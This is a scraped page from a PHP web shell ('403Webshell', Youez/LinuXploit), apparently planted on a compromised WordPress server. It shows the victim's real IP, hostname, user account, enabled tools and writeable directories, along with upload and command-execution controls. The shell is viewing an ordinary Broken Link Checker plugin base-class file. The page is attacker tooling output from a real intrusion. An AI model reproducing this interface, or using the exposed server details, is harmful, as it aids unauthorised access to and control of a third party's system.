403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/revivere/www/wp-content/plugins/broken-link-checker/legacy/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/revivere/www/wp-content/plugins/broken-link-checker/legacy/includes/module-base.php
<?php

/**
 * @author Janis Elsts
 * @copyright 2010
 */

/**
 * Base class for BLC modules.
 *
 * @package Broken Link Checker
 * @author Janis Elsts
 * @access public
 */
class blcModule {

	var $module_id;      //The ID of this module. Usually a lowercase string.
	var $cached_header;  //An associative array containing the header data of the module file.
	/** @var blcConfigurationManager $plugin__conf */
	var $plugin_conf;    //A reference to the plugin's global configuration object.
	var $module_manager; //A reference to the module manager.

	/**
	 * Class constructor
	 *
	 * @param string $module_id
	 * @param array $cached_header
	 * @param blcConfigurationManager $plugin_conf
	 * @param blcModuleManager $module_manager
	 * @return void
	 */
	function __construct( $module_id, $cached_header, &$plugin_conf, &$module_manager ) {
		$this->module_id      = $module_id;
		$this->cached_header  = $cached_header;
		$this->plugin_conf    = &$plugin_conf;
		$this->module_manager = &$module_manager;

		$this->init();
	}

	/**
	 * Module initializer. Called when the module is first instantiated.
	 * The default implementation does nothing. Override it in a subclass to
	 * specify some sort of start-up behaviour.
	 *
	 * @return void
	 */
	function init() {
		//Should be overridden in a sub-class.
	}

	/**
	 * Called when the module is activated.
	 * Should be overridden in a sub-class.
	 *
	 * @return void
	 */
	function activated() {
		//Should be overridden in a sub-class.
	}

	/**
	 * Called when the module is deactivated.
	 * Should be overridden in a sub-class.
	 *
	 * @return void
	 */
	function deactivated() {
		//Should be overridden in a sub-class.
	}

	/**
	 * Called when BLC itself is activated.
	 * Usually this method just calls activated(), but subclasses could override it for special handling.
	 */
	function plugin_activated() {
		$this->activated();
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit